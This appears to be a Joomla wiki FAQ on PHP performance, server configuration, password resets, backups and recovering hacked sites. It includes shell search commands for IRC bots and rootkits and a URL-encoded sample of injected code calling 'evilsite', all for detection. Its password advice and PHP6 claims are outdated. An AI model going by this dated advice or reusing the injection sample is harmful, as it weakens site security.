: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]

[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Security and Performance FAQs

2011-09-26T22:31:09Z

Cadrlp: class="wikitable"

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Consider recommendations:''' Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http://joomlacode.org/gf/project/jts/

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
